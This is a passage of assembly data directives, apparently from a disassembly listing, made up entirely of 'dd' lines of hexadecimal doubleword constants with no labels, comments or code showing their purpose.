		dd 659F9172h, 8F7B3C42h, 0CEE0A4AFh, 3027F0D8h,	0E45AB391h
		dd 7663DA77h, 0ADC7B79Ch, 0F2E67F97h, 0AE4EB053h, 8AB40D46h
		dd 8043F409h, 98B6FB27h, 0B57DEAD2h, 0A6615C45h, 0F8F631F4h
		dd 8C7FC16h, 0EBA6A60Dh, 91E7AA9h, 0B2ADB17Fh, 0D558E6B2h
		dd 3F5F4936h, 1BE6A5A8h, 8EB3C067h, 92157971h, 0EF22FC13h
		dd 42F9FF7Bh, 46EAC75Ch, 0A9D50C37h, 2C2DD63Eh,	0D516C940h
		dd 7068328Ch, 82935726h, 0E120AE19h, 758EEB56h,	0CDFE82Eh
		dd 7D0CEC93h, 13654006h, 3877C0h, 0E9441952h, 0CEE5A05Ah
		dd 7EEB27FEh, 0BEBC8D47h, 0BAA26105h, 80175973h, 0B359E537h
		dd 0F095146Bh, 0AED9E0EFh, 0E9953B44h, 5B550301h, 41BE0786h
		dd 89E6AC6Ch, 0B251408Fh, 0D1747024h, 38F70CE1h, 0DF21D12Ch
		dd 0E0470682h, 173A79F3h, 61632C89h, 9EB1AC2Ch,	2CD25553h
		dd 3A49FB3Dh, 0D4B27F45h, 755A9141h, 6CBADD46h,	4DF0475Fh
		dd 0CAD5DFD6h, 0E9E46DDFh, 25B860E4h, 383F82C4h, 39A906C9h
		dd 89CE4538h, 0D80ADE9Ah, 7BA942CDh, 6C9DC343h,	0C81B70DAh
		dd 0F014F2A9h, 1D2D3DB8h, 0EE47014Ch, 0C88E74Ch, 0E75A475h
		dd 16D38F61h, 289A65A9h, 4F34162Fh, 33734490h, 38B7FB91h
		dd 0CCED80C6h, 19036185h, 0DD7CE8FFh, 87A00ED6h, 0BA003355h
		dd 94A09301h, 1E3B2014h, 6D66808Ch, 977FCA5h, 3A5FF363h
		dd 0F6588B01h, 198379F2h, 0C658A71Bh, 0B6A5B429h, 3E2C3D1Ch
		dd 8376B18Bh, 32949D42h, 0FF72D8BFh, 0BD96FFFDh, 0E99E2ED0h
		dd 0B1742CBDh, 2CA57420h, 6069373Fh, 0AD2C1998h, 0D969B436h
		dd 0E6BCADFEh, 8332B4D6h, 6EEA0311h, 20B1E01Ch,	0D076CA28h
		dd 0D402ECE0h, 481E9FE5h, 0A45B7FBCh, 0F70B4FDBh, 0AFA1700Bh
		dd 9810785h, 0CE5A6D4h,	2DEB8640h, 0B918888Ch, 0E1FB3FB8h
		dd 0B6A9BD85h, 0F4FCC8CEh, 9F3D430Ch, 3A77BCFDh, 599CD45Dh
		dd 913B98C4h, 0BD75111Fh, 746B1C52h, 0EFD08DA7h, 6177D0A9h
		dd 19CF16F0h, 30CB191Eh, 43685B68h, 3950B99Ah, 671B67ADh
		dd 0EF75B4AFh, 0E9C60557h, 0B03C94A3h, 47CF423Fh, 4003562Eh
		dd 8DC20303h, 0DA35B3D6h, 0DFC780B6h, 5DC7A4BFh, 61F9B7D8h
		dd 82822658h, 24A354D9h, 46F30586h, 6A131325h, 0F03D69DEh
		dd 0BF8E630Dh, 0F93F36C4h, 9FD0F50Bh, 1BC6670Ch, 11863E2h
		dd 0EB7BDE2Eh, 0E978B6E4h, 76AAAD24h, 8DC15C9Eh, 50EF63BCh
		dd 0F20357ECh, 6B71B864h, 782E4FEDh, 52F0B0DEh,	917FE7Dh
		dd 0FBAE5C25h, 7D9A2078h, 78C1CDD1h, 7D0A0122h,	2FEF2BC5h
		dd 87625D4Ch, 4FCCC2h, 0D300B1A6h, 0CA64A7D9h, 4C66C214h
		dd 2508F573h, 4C3D0CC8h, 3E0431h, 0E0C2927Bh, 8D47CC7Eh
		dd 0DF48613Fh, 91C03539h, 74F9F389h, 6F058364h,	0B0C8D7D0h
		dd 0A45FA032h, 4F20B005h, 9045076Fh, 6C9A7397h,	4F962E0h
		dd 0F8CAAA20h, 19DC959Bh, 0E39864BCh, 44B158F4h, 0A0DAB667h
		dd 0AB5A4B94h, 23A45830h, 0F3BB24A4h, 0FE5E2B99h, 3C6EA04Eh
		dd 0BF3CC4BAh, 61D9C864h, 1E3BB69Dh, 0D3708703h, 570374FBh
		dd 4AFD6637h, 0C5E47702h, 0D2EC6DFDh, 261F48Fh,	0EF05A22Fh
		dd 1AE8BE09h, 98842A61h, 0A01768FEh, 0AB1F945h,	34C83402h
		dd 0B7F3706h, 4556D31Bh, 14109D56h, 32F852EDh, 0F0635169h
		dd 0B0F5DD5Ch, 1AD1DAE3h, 0A32DE2A3h, 1DC2A4FBh, 2E0B4EEEh
		dd 74663E68h, 0A9299E15h, 0A1692492h, 0C1271F1Bh, 32F3BD6Bh
		dd 49E52AE6h, 24E6E739h, 89238196h, 37D208A3h, 0C5D8003h
		dd 0DC17E38Bh, 1E157EADh, 282B13BBh, 0F432932Fh, 0E9DBD62Ch
		dd 59D1243Dh, 5AFBDAFEh, 85DBCFE4h, 0C44A0A85h,	0FF4EA906h
		dd 8BEF6021h, 8C93E9Ah,	78484382h, 1ADF4D68h, 5CD69C0Dh
		dd 71C04C9Fh, 0C4E24700h, 35A79C77h, 4B59DC76h,	0FCCBD478h
		dd 865BE45Dh, 0F2273ADDh, 0C1728BD5h, 8C24B16Ch, 0FB7CDDBAh
		dd 74AA61C9h, 0BC705BDFh, 0A0699296h, 3F042222h, 2A87882Ch
		dd 0B89C4551h, 5D07FCC9h, 962CB010h, 15D466F3h,	0F3A3D64Dh
		dd 5A8563B8h, 9038B6ACh, 4F17DCFAh, 0AFC39F41h,	0D225C2F7h
		dd 40DFE4CBh, 1689A7E9h, 66D169ECh, 1B2B18C2h, 0D3F77D9Bh
		dd 976B1010h, 2FD71A64h, 5E3112A1h, 52F4AA86h, 0CE3E05D2h
		dd 0AC8AFA5Fh, 1FD2310Ch, 558FF75Dh, 998C60A0h,	3AB3ABBh
		dd 0C05A90Fh, 0A5FC3647h, 8E6B751Ch, 823AF14Fh,	0BE779391h
		dd 0F59D2011h, 43D1B9FFh, 0E1E8839h, 6B144D5Dh,	0B42BF5CCh
		dd 92BCD190h, 0FF919F86h, 279877Ch, 13F8070Dh, 4FB00544h
		dd 67CB3666h, 16D2E87Ah, 0D4AB3DECh, 64C5DF58h,	71DA36F1h
		dd 76E4FE42h, 0C2682FA0h, 24CBF778h, 404E501Ch,	567AF0CAh
		dd 99E51E6Bh, 0FBD6A448h, 7607B1C1h, 476328EAh,	7EE8239Dh
		dd 0A5DF44F8h, 0B8E107FDh, 0AA3AF083h, 3F2CB855h, 435926ACh
		dd 4218B1B9h, 7BB7F747h, 91CCE144h, 6B45E3D1h, 4C0ACB3Ah
		dd 0F81BE88Bh, 9E73D123h, 4F6344DCh, 0B18F6886h, 420C9846h
		dd 79D62341h, 6148459Bh, 6B7A0FE5h, 0D3E5948h, 0FEC62AD7h
		dd 0D41EB288h, 503B13ECh, 8F1D76A6h, 4F1DE35Dh,	0DAAAFE2Ch
		dd 0C7F00BE9h, 0BDD32DB6h, 906B05BBh, 39BDBEB9h, 0EC853749h
		dd 0E46EB880h, 1DB1A56Eh, 599FC877h, 73D31C51h,	0E51C832Eh
		dd 8A1650B7h, 4ACB403Ah, 5D8C3E4Fh, 0F55E0C56h,	74345423h
		dd 89F1CA4Dh, 8FD9EDB9h, 2A28033Eh, 0A7EAE370h,	1197C2E8h
		dd 8DDAFFEEh, 0FA7B5816h, 0F85680AAh, 1E468EFAh, 0B7511152h
		dd 0C12ABAF6h, 301CCF88h, 6AD8F89Ch, 54C1A1A0h,	8581D402h
		dd 3B599E24h, 0E492EC6Dh, 6BD6A85Ch, 786B7E12h,	6FA7F99h
		dd 48E784F9h, 0C4407256h, 0A48987Ch, 9146D17Fh,	0FF8D43DEh
		dd 7B4F18ACh, 9D8F0F0Ah, 0CE52D99Ch, 72C66759h,	0B5BF4886h
		dd 61017CD2h, 0C27DAECAh, 2FF48AF7h, 4905210Ah,	3E20CCBh
		dd 59C691B8h, 3EE133A7h, 5BC65C70h, 0D2BEDC2Ah,	19B72107h
		dd 0D9884FD2h, 6C4F4DFEh, 22059C9Dh, 0AB1BAEC9h, 5E1EF439h
		dd 0A6545037h, 4B12988Eh, 5154A1CFh, 0A03F39DDh, 1C219401h
		dd 6F90A2F1h, 4534C7A5h, 96BE56B0h, 31FA658Ch, 89F1DAFAh
		dd 7A1C2228h, 1F8D18B9h, 7F512C25h, 85995645h, 0E8241288h
		dd 19DDE09h, 37D73C68h,	4917CBDAh, 29A9006Ch, 301D01E3h
		dd 0A9328235h, 0A7A4EAAFh, 0ED3E097Dh, 0F8FF122Fh, 0CB43B446h
		dd 0E37A38E6h, 5DF7D50Dh, 0F3653363h, 0C2B49699h, 326DDE87h
		dd 0D7A9A33Eh, 23443F3Eh, 0B1596A5Ah, 363F4532h, 0FD09201Dh
		dd 6F17C00Bh, 2223A1E4h, 3C61DBD4h, 0FA755125h,	239B5CC3h
		dd 1B705DCBh, 92C3BF5Fh, 0C018F299h, 36D325EDh,	0D5E47063h
		dd 0E573B9A2h, 72A62106h, 18F95574h, 4032E57Fh,	0B7EE83B3h
		dd 395524DDh, 7C547A91h, 0C87E23C2h, 667A1144h,	8BB60AB3h
		dd 99A12E9Dh, 4783929Ch, 5FFA58E5h, 916D8675h, 0E63459D6h
		dd 56A73191h, 26891057h, 904615D3h, 0DC4D9BBh, 0E4AE8430h
		dd 888E5E81h, 0C3661CFAh, 7D1DC72Eh, 0AC77B01h,	0D656B09Ch
		dd 6C5A1128h, 0A2B0DA59h
		dd 91F2645Bh, 78EDB03Fh, 644F56A0h, 12CEADDBh, 0A4C335h
		dd 0E607718Fh, 0EC14EF89h, 2C80D252h, 0D4DBFDCAh, 22473CF2h
		dd 80D66095h, 0F9DFB6Fh, 913071E7h, 89B620B7h, 41B2FFB6h
		dd 847FA772h, 15DBB5C5h, 0F3F648F3h, 8AFDBEECh,	10DA8350h
		dd 4338B3BDh, 0B4E3FD3Dh, 8EB668A2h, 1EC515A5h,	0BA2C7798h
		dd 10AC0EDh, 0D16CB257h, 70604F23h, 5800240Fh, 0CC5D3BA2h
		dd 7B5F396Bh, 1AA0557Fh, 0E6ACDE79h, 15C65290h,	151D7612h
		dd 0D896AD55h, 0C1803D86h, 0D2FA2C9Bh, 0AEE5C69Fh, 130DFC8Ah
		dd 2ABD4641h, 22C74ECDh, 0AB8ACFF3h, 0D76774B3h, 5F561CF6h
		dd 5EB52B7Ch, 7F0229A7h, 0A7022323h, 0FDB0AAEAh, 0F536C84Fh
		dd 0A9A34B20h, 94DAD528h, 0FD18A64h, 87F20Ch, 0C256AE54h
		dd 26C20D3Ch, 2E8DB115h, 111299B2h, 7461E6D4h, 3929E130h
		dd 216AF0CCh, 0F1879E7Bh, 0D669DA47h, 0EAFE970Eh, 2DBC06E9h
		dd 0D94AFF6Bh, 0D0E2DB69h, 0DD41D20h, 58407AE7h, 0FFFA1474h
		dd 3371DFCDh, 54A8292Dh, 6FB12C27h, 0FC14B7Eh, 8DE30415h
		dd 0BDC894F2h, 0C913CA9Eh, 868BF480h, 0E6B55C8Fh, 0DC467FE9h
		dd 0DA4CCF81h, 9BCE11FBh, 0D1042404h, 380141CCh, 579E6E51h
		dd 7E59BB64h, 7C620584h, 64D080D3h, 0DB315463h,	1549FF18h
		dd 54B30D65h, 90B12FEEh, 1DF6D751h, 48CB5352h, 0C111F7B1h
		dd 0F40F00ABh, 0DBE0F5BAh, 6DF6D16Dh, 32B2D8E1h, 0DA13E743h
		dd 80EE694Eh, 7C9732F2h, 32962176h, 0C1F9AE04h,	76683A9h
		dd 0B8852D0Ah, 1F1C9432h, 78105EBFh, 23873005h,	671BE07Dh
		dd 0DC7CB9Fh, 0EA5C4F3Eh, 6A1A485Eh, 0CAFC269Ch, 96EE2A46h
		dd 4D3CB77Ch, 0C1E09BBh, 89215587h, 69C647D5h, 851F7E22h
		dd 7A6C8D11h, 0D8E6EAF7h, 0BC230A4Dh, 0D1C04BCDh, 8799CA12h
		dd 49DE27D0h, 0F62E3450h, 0D662E9D5h, 0D2098606h, 6C43F4BBh
		dd 651A813Fh, 1111344Eh, 0AB61AE1Ch, 5DCEDF2Ah,	0C264F476h
		dd 35BF2C8Bh, 3CF3274Dh, 0A9016274h, 586912B2h,	2EA28143h
		dd 2B4DAA9Fh, 40D6BC52h, 98EE814h, 74B87D46h, 8A4FFAD4h
		dd 78BDE426h, 2251BA9Fh, 0F152965Bh, 5192F622h,	80815FA8h
		dd 275FBFEFh, 0A03DA6B2h, 1FA23140h, 0B5E9BAACh, 71CA49FDh
		dd 0F058D79Ch, 0FAF976ECh, 6E58344Dh, 0C438CA89h, 13BD8232h
		dd 0DBDD7E76h, 1161132Fh, 752DA51Bh, 0A46DEF04h, 395D47FCh
		dd 4EAEBD5Ah, 0A10A9ADFh, 0B4D92CE6h, 2A6D9DB2h, 43008341h
		dd 0C024D61Eh, 1B8D0337h, 0B6E144BAh, 211F7EADh, 0D80710D8h
		dd 10BC9930h, 91C8697Dh, 9753688Dh, 0AE57417Fh,	0F731B5A6h
		dd 0F1A548EEh, 0DD0E38BFh, 19339766h, 0BA5F004Eh, 0DED00089h
		dd 886C5778h, 20794C04h, 67DEC40Ch, 0DAF526EAh,	0ACFBE424h
		dd 31BBC98h, 6C098646h,	6D9D761h, 38969E65h, 3DAA7552h
		dd 9C8F4077h, 2839914Bh, 1CCBE236h, 76C59198h, 0C5763094h
		dd 0BEF083DEh, 9527AB91h, 0B9D53A0h, 0CBD056FEh, 6B4721C4h
		dd 553160F8h, 3E25DDABh, 0E704BFDCh, 38BEEE05h,	0C2F56237h
		dd 655B6938h, 0C7FCDCE7h, 0BCD9A589h, 0E6442239h, 74D27A52h
		dd 5206BC11h, 89837476h, 718D0442h, 0AEB633A1h,	0C98275Ch
		dd 6864B266h, 835C7535h, 0F2778C8Bh, 997CC43Ch,	70206979h
		dd 5E3518F4h, 5ECA4BC8h, 3A6A8F7Ah, 0CCB38868h,	299D2E95h
		dd 6159AA78h, 0FD57A794h, 68E8F1A8h, 7F74CD91h,	0EF559EC6h
		dd 76D9E0FBh, 0DFC6BE7Bh, 2B4AFAC1h, 8934788h, 4E578194h
		dd 0B86011A7h, 1BE65D18h, 0EA87A8A1h, 655F6128h, 6C3B6575h
		dd 84A3877Fh, 93A78B20h, 62C1FB34h, 0EFE603FBh,	3A031B34h
		dd 0EF8B335Ah, 0ACAEB0E7h, 540107DEh, 0A3426946h, 5748C135h
		dd 0E307654Eh, 96362B13h, 0F08B8C26h, 0E4E33B00h, 200EEBB8h
		dd 0C6A96D27h, 39D962C1h, 32418C29h, 0C32F7CC3h, 0D6F534Ch
		dd 0D2B2309Eh, 85FFC6A9h, 0A6D33FB3h, 0E04FD88h, 4FE937F8h
		dd 43013D2Fh, 14962164h, 109B8594h, 7CCAB97Eh, 0BACD44BCh
		dd 0FB69F0EAh, 1E8D8BF0h, 0D2B85734h, 0ED6BC4C9h, 0D796A558h
		dd 1753B943h, 4E28B7F8h, 2AC775A7h, 0CDFAE877h,	883F387Ah
		dd 618838B6h, 0B9925DB5h, 28670F08h, 47C1FED6h,	0C87B03D8h
		dd 836F3D64h, 0CF514B1Dh, 96C4BFA5h, 0D5B29AA3h, 4A1745D8h
		dd 81341285h, 0D77ADE65h, 26E0A05Ah, 43C659E3h,	0C9823A1h
		dd 0AD688B7Fh, 73721002h, 110C4C0h, 0A68CFD86h,	212C4A1Ch
		dd 0E3F52E14h, 93370ED9h, 1CB7D189h, 0E796D51h,	597E5204h
		dd 8EFF4640h, 582566AAh, 0C8770C95h, 0BE2AE2E4h, 0D00D102Eh
		dd 7049A2B3h, 0D661E235h, 5EE3D9FCh, 159FA568h,	0DFDE50FBh
		dd 0EFD1A1B4h, 0D9F3EE32h, 5F82785Fh, 0C8D38111h, 0B4D45729h
		dd 9E29D089h, 0DFCC5ECFh, 0A5E65336h, 6C994F96h, 4F8F5CCFh
		dd 0FA7A8D66h, 6FAF7DC3h, 25A35DB8h, 0DD453391h, 0FAAC5BEAh
		dd 565653A8h, 905AA978h, 62AF7B04h, 14C3ED8Bh, 39EA1D4Bh
		dd 778B0528h, 0AF280067h, 809A3F36h, 200A0FCBh,	7AA81627h
		dd 1EFE3910h, 8539CBB3h, 4C3258FFh, 0DC11E320h,	5B7F58AAh
		dd 8BC51B03h, 9993CABAh, 0E818A045h, 4C867B99h,	21CFE1FBh
		dd 0CB55A480h, 357E815h, 1CDEB648h, 6C134D8Ch, 200DCE21h
		dd 4DB0FBD9h, 0AA23F130h, 0F0DEEBE6h, 43410B30h, 0DA8CF11h
		dd 9AD90BCEh, 0F7F79C7Dh, 7B0CC1F7h, 78DD450Dh,	8DF870CFh
		dd 9CC3CC20h, 0C5A9DE95h, 34C9230Ch, 0AF3B211Ch, 0E72AF578h
		dd 6D6E61C4h, 84C1C443h, 3EE8FC65h, 0FF93956Eh,	2DD9AC4Bh
		dd 0AD44F0Ah, 0BF564DB1h, 2ABA92E9h, 0DC6BA2BAh, 72E662D0h
		dd 142205C1h, 3A6230E6h, 851D97Eh, 2791CF3Ah, 97EA2C63h
		dd 0CA324DD5h, 5791D34Eh, 8931BA3Ch, 73A43725h,	9221DE68h
		dd 112825C1h, 0BF9DD98Dh, 0B411CF11h, 0C6B56C4Dh, 247BF984h
		dd 79DD94E0h, 4FCA8B18h, 8134ED1h, 79A61A30h, 0DD29331Ch
		dd 0A84DBA20h, 14A8315Fh, 0A4CBDD5Dh, 3D1F68E2h, 63853806h
		dd 2984991Dh, 2C2B9632h, 1CE5CB38h, 4CBC6EA1h, 1F91A98Ch
		dd 0F21CFA1Dh, 6638AAB0h, 28386A47h, 60B297DDh,	7408694Bh
		dd 0EE70A270h, 8659C95Ah, 0DEFEA0D9h, 813F446Ch, 2923F74Ch
		dd 35805934h, 0F15F6F67h, 307FCBA9h, 0CF213E1Eh, 7CB6CB59h
		dd 9F4EC122h, 0EAD2EA92h, 1B76039Ah, 6B9D84D5h,	0A5B08993h
		dd 3DB56317h, 2AD17829h, 0E7969EDDh, 6D7A55A2h,	0D61059DAh
		dd 0B04A6FF0h, 0BB786D73h, 0C298E33Bh, 3E8253C7h, 0A7B163DAh
		dd 86DDB738h, 36FD8DCCh, 930F9DE8h, 4142B007h, 8F51FBA9h
		dd 8C9A5747h, 87339E5h,	185B4B24h, 0E48A23B6h, 19F5DFB4h
		dd 9F794ECh, 0AE5107CDh, 98841510h, 0C01160B1h,	1249B817h
		dd 0D3A88756h, 9D2A21EBh, 5A3A7BC8h, 0C0AF0616h, 9230EF51h
		dd 884C3B69h, 70001070h, 6A42CD4Eh, 46496831h, 39866A35h
		dd 3B1193FEh, 84A32D8Bh, 7BA106C1h, 8E5828B1h, 229CED86h
		dd 0B8912A6Ah, 0AFF9C7F0h, 12A993Ch, 3C8A2F51h,	0E97E9180h
		dd 0FE7348Ch, 75B42C3Bh, 0DDD0FAA2h, 0DB0AB61Fh, 0BD73E7F2h
		dd 2950B57Dh, 93C2F759h, 591D0A3Ah, 0F8B6E9D6h,	0D865DCF9h
		dd 5B51B209h, 0EA188651h, 0AAACC56Bh, 9534D85Eh, 5AC63C8Ch
		dd 4DD8EEA8h, 0A7BCA0B4h, 800EC3D1h, 0DE5233A2h, 9819727Ah
		dd 6C3EEC78h, 7AF04718h, 43F80944h, 0D7BD76E7h,	0C1FA48D8h
		dd 6298F081h, 5F03F2FDh, 53F72F4Ch, 252CA8C2h, 476D38B1h
		dd 0A9FC871Bh, 7E4D5BA9h
		dd 0D931D16Bh, 0BB2C9545h, 0E5E561D4h, 0F4A7D6D8h, 3D209DCBh
		dd 40A712A7h, 0ACE1F44Dh, 30AC401Eh, 0F736F54Ah, 34522D82h
		dd 0A773BF09h, 0D916ACF3h, 28F9D1C0h, 95135CFBh, 0CC961C2h
		dd 8D1929F6h, 9F988B0Dh, 677752F3h, 276518CAh, 66DED897h
		dd 28156676h, 0E4758014h, 93BBFD0Fh, 23F490D3h,	0EDDA629Bh
		dd 0D8AFD6C1h, 2C26C601h, 1AF918E5h, 0B07C1DEEh, 32885BFh
		dd 1C6A9C9Bh, 4EDECD27h, 12966EEDh, 4C090186h, 60D62DD0h
		dd 999452AAh, 9A779163h, 0C65F5139h, 0FDA2D2D5h, 0CFC2B3DAh
		dd 0AB1F4402h, 3F5583CCh, 0B778F42Ch, 0E6DB76DAh, 0DF78214h
		dd 6217D3BFh, 18613E92h, 370B6BF0h, 1B526B86h, 0AAB55338h
		dd 0B206934Ch, 0A544942Fh, 8E5A4BC2h, 2D63363Fh, 8DCC37B4h
		dd 0EACD3A38h, 4FD13934h, 0E5A44B72h, 829663EEh, 8FEDC8AEh
		dd 6F31E60h, 0AA337CCBh, 0F4EDE64Ch, 0A08C621Eh, 0C30CE87Eh
		dd 97A4B8BFh, 88EA0340h, 9EE6A0DFh, 0CADDE6DAh,	2A2E5B53h
		dd 0E7A67BE7h, 4D2097E1h, 2B6E7041h, 5E2CF1F3h,	87154970h
		dd 6A5CC671h, 0A7584AE1h, 0A48BC197h, 85FCD4A5h, 36B8C10Fh
		dd 989F0F7h, 42FA0A51h,	0C3CCC331h, 0FA9C06DEh,	95A12B41h
		dd 0F9673A62h, 7641A7DBh, 0BAD5BC68h, 5C2B126Ah, 0F25B5292h
		dd 69446966h, 3654DCA2h, 0D4A816C6h, 0E69D12DEh, 30941E92h
		dd 3AC46FF6h, 890F6386h, 517933E9h, 8FE4F36Dh, 0E148CEBEh
		dd 7484C03Bh, 68A7F354h, 0D435E47Dh, 0DC40AD8Fh, 9BEBC9AFh
		dd 6F921C96h, 0EB5A1678h, 0A2759166h, 414E808Bh, 34861DD1h
		dd 3D3CAE13h, 3C17297Dh, 600599ABh, 0A573BB9Dh,	0CBF2037Eh
		dd 0A35660F3h, 0E1B2FFA7h, 4F4FE8A1h, 62BDAE08h, 7339E2E0h
		dd 0CD7376FDh, 0BEF17E7Ah, 326EA3E9h, 91853AD6h, 5E823F83h
		dd 418D332h, 86E0E875h,	7796F37Eh, 0C7199AACh, 7393DBD9h
		dd 750BF35Fh, 0EE7B6BCFh, 9F4E7A14h, 0C83F70FAh, 29CEA7EFh
		dd 38B3555Ch, 1BB157C6h, 0AE5B47CEh, 0E693B9E9h, 212E7182h
		dd 222B0038h, 67F05832h, 78392290h, 3100D1D1h, 208EA212h
		dd 0CF5474ECh, 0FD89521Dh, 955EA99Ah, 8EB4C98Ah, 480B8FCCh
		dd 18C18126h, 4B581895h, 0DE2DAB8Eh, 0DB1D605h,	0E08BD114h
		dd 960B2FAFh, 0AA1852AFh, 0B089EA9Dh, 34F6D957h, 258B6Ch
		dd 0FABB2A0Ah, 0F1184CCFh, 521E875Dh, 8054C415h, 0CD5B6A8Bh
		dd 0C7AEB31h, 84401C41h, 8248554Ah, 5C80139Ah, 2F2B1D77h
		dd 0FECFCED8h, 8B5603B4h, 3A064B6Bh, 4B9A6F33h,	84E4E1D7h
		dd 398A9878h, 9079F86Fh, 5ADC3676h, 0EEA786DEh,	16555BACh
		dd 5FA5F493h, 0B10F6A3Ch, 303256DDh, 0C71D5DE6h, 0BEB2CE10h
		dd 23BA588Dh, 90B8C552h, 0F5550938h, 0AABF0FD7h, 159349h
		dd 0EB1841D1h, 0E72207B2h, 3FC1A3C7h, 0C6D8F4FEh, 7FDB2C16h
		dd 8264D9F1h, 0CF533E44h, 4D74846Bh, 0E6D7A267h, 8B03B27Bh
		dd 0CF5419BFh, 0A421E754h, 1EF4EFF3h, 9AFC0D66h, 38BD62F9h
		dd 9786EB80h, 0A6EEDFF0h, 0B6998C3Ch, 442EC4F0h, 0BBC098ADh
		dd 67CDBFD5h, 0E6E17142h, 0C0CE540h, 4027A150h,	9E3829C4h
		dd 24FE774Eh, 7DA44984h, 88E1F22Fh, 0B36056BDh,	3818D50Ch
		dd 0CEC99238h, 0BEA46AB9h, 6A46771Fh, 7F62F16Fh, 99047FFFh
		dd 0FF2AC851h, 0D5CBB9E9h, 0BD33FCBFh, 8954D9DFh, 0FBB886ACh
		dd 9518488Ah, 8A997328h, 970E094Eh, 0DD67F965h,	95245AB5h
		dd 658414A2h, 6E7155BCh, 0A30B5294h, 622174ACh,	3FE0DF0Eh
		dd 0BB52044Bh, 0DDB12804h, 5C143D70h, 0FE3534EAh, 0A0ADED93h
		dd 55600409h, 0CA7E89F6h, 4A85F1CBh, 0FD526CCEh, 0BEB001ACh
		dd 715D1CA9h, 0A84AEC6h, 55560826h, 0EB676006h,	85BD9232h
		dd 33EA57CBh, 0A73B7A59h, 1ABE0C6Fh, 0EC1BF3F8h, 7ED52903h
		dd 99DC88D8h, 6FA7F8D5h, 0C36C4F0Fh, 3913E867h,	1719263Dh
		dd 0C23AD50Bh, 2B51825Bh, 0F2429AEDh, 1D67B123h, 9FCB05E6h
		dd 0FF9CEFCBh, 420424F7h, 5E54C4C1h, 0B4479DA9h, 0DDA00363h
		dd 1CF29D8Ah, 92F62419h, 0AE601DCBh, 79A95E98h,	0C99EB124h
		dd 11BAFAD7h, 9D580D6Eh, 0BB98349h, 3A67E5CBh, 108E04C2h
		dd 0B3D337D4h, 0A013FE56h, 682BFF91h, 0F56A4114h, 83A5F6F1h
		dd 0C1715B5Bh, 20C74FCEh, 0A7DB8F74h, 31FE74B9h, 0D9442C10h
		dd 56800C35h, 69780D17h, 8D68B930h, 96F37A99h, 6BA39976h
		dd 25B9433Bh, 6DB56D28h, 0A6BB214Eh, 6D67B39Bh,	5AE956E5h
		dd 0AE9C740Fh, 0F727FCB5h, 0D685FBFDh, 0B4374BB3h, 0DCC614D4h
		dd 0A43537B9h, 0DF98FA61h, 0E5F40205h, 8567CDBCh, 119C3109h
		dd 36C88726h, 1C8D2DE0h, 4CB7AE74h, 47C753A9h, 0AF725EC4h
		dd 67DAC9FAh, 62A6C9F0h, 551B599Ah, 0CD96C18Dh,	0A5D62A2Ah
		dd 121AA995h, 7ADF3764h, 7E460887h, 0A4501F0Ah,	6C35812Ch
		dd 0C34FEF64h, 0FD967AA0h, 0A11C5341h, 232CF1D4h, 9ABD3F17h
		dd 2778F659h, 0EC254AA8h, 0EB5AE3E1h, 546DB1D6h, 0F3050C5Fh
		dd 93202C90h, 0EFCF9FE1h, 0EB3FC9A5h, 43D0DBE5h, 9E01E267h
		dd 736D14FBh, 8BE1B905h, 0AA1B1BBBh, 5CD80AE0h,	0CFB1409h
		dd 0E95FAE5Ch, 1BF5A610h, 76FFFAD1h, 0BDE725E8h, 0EC48F623h
		dd 0A51D3B14h, 0D68413C3h, 0C3BC6FE5h, 0EEFF9C1Eh, 0BF5B7133h
		dd 0BD057AC6h, 0C75B896h, 61F810FBh, 29F33775h,	0BD6F2779h
		dd 0C1760FD1h, 8D3BFFFBh, 44DED3E4h, 0FA4B5107h, 4590EDC0h
		dd 97BD964h, 48559D25h,	0E082C1F2h, 434856F1h, 76611EF7h
		dd 33D0B33h, 14F8888Eh,	99036013h, 0ACFC302Ah, 8E4BE067h
		dd 6A4B2B4Eh, 4D8B88E1h, 70FC8BB4h, 3A3829BBh, 0CCC4B91Ah
		dd 3D998B9Fh, 8D3D01B4h, 33EA76A9h, 0A3FD38DBh,	0F63BB2C9h
		dd 559D22F8h, 0FE7C0182h, 0A19ECE0Bh, 5F944F74h, 3BDCE8F1h
		dd 0DF1B31DBh, 608BF48Ah, 1D451AADh, 0FCD7942Fh, 0F2E52A78h
		dd 7BE89ADFh, 0F70119Ah, 4FEBF48Ah, 291F0EAFh, 0B6F52018h
		dd 0DF56F075h, 0A0E1304Eh, 0B900913Bh, 4FCA7518h, 8058512Eh
		dd 0FE85DC1Bh, 87D92E4Fh, 8A8BCB73h, 0AB48FA98h, 5E855804h
		dd 3AB5B11Ah, 0B628E0A4h, 820242CCh, 7DCF97DFh,	6B181385h
		dd 472DD561h, 421B3C29h, 6C9132D7h, 321C1DFCh, 6A4C2817h
		dd 2A326DD1h, 0E7BDEF0Ah, 0A3DB783h, 0E515D206h, 22D7F86Bh
		dd 0DF2AF6F0h, 5548876Ah, 8285C4CCh, 0DB3D2969h, 0A4308060h
		dd 5CFBA61Bh, 67C42BF8h, 0F98FC27h, 6E8EB858h, 60D8EDABh
		dd 27EB78A6h, 818B1027h, 0E9CCA464h, 0B9D09FBEh, 0CDE3DABAh
		dd 0E0024132h, 3A445F65h, 0F8C27C24h, 0DE811BC0h, 6096AB83h
		dd 7D6C9ED5h, 0D05419A3h, 5816BAh, 0D2C68D89h, 515CC3F3h
		dd 2104F58Bh, 0AE10A767h, 2487CCEAh, 0CD9BC425h, 0AF403620h
		dd 61774793h, 7DFCB7E7h, 2AA6959Ah, 5A399EEh, 62087568h
		dd 0F9A886DEh, 3E196CAEh, 84849184h, 0E367A59Ch, 41FDA71Bh
		dd 0C841A105h, 7D91DE75h, 1FF31678h, 0B77EF3D8h, 6B277843h
		dd 0CF4ADFADh, 3B328ABBh, 7A611939h, 7E43DE77h,	0EDE939A5h
		dd 7179AC13h, 173424B6h, 52D48D57h, 181788E2h, 311DF928h
		dd 0DD2555F4h, 6411D36Dh, 699C824Bh, 5E7DEBE7h,	504AC2FDh
		dd 0CC087BE3h, 9C9C2CE9h, 78CD31F7h, 584DCDC8h,	5CFBE6B5h
		dd 0AACB47B9h, 0FC891636h, 8206919h, 43FA8B54h,	0DD25B108h
		dd 0F18636BEh, 0FE2E92E2h, 84A514CBh, 5A478219h, 77B1CCD4h
		dd 0EA4C29A3h, 0DC34D363h, 0F577638Ch, 8273294Dh, 0DEC4446Fh
		dd 14E52843h, 973D5E31h
		dd 0B9837564h, 202DAF84h, 0C70FCF32h, 0C3AE0F46h, 0E6E14FBh
		dd 38520012h, 0AB21B3E3h, 691F3D84h, 6B9615D5h,	25CDE1Dh
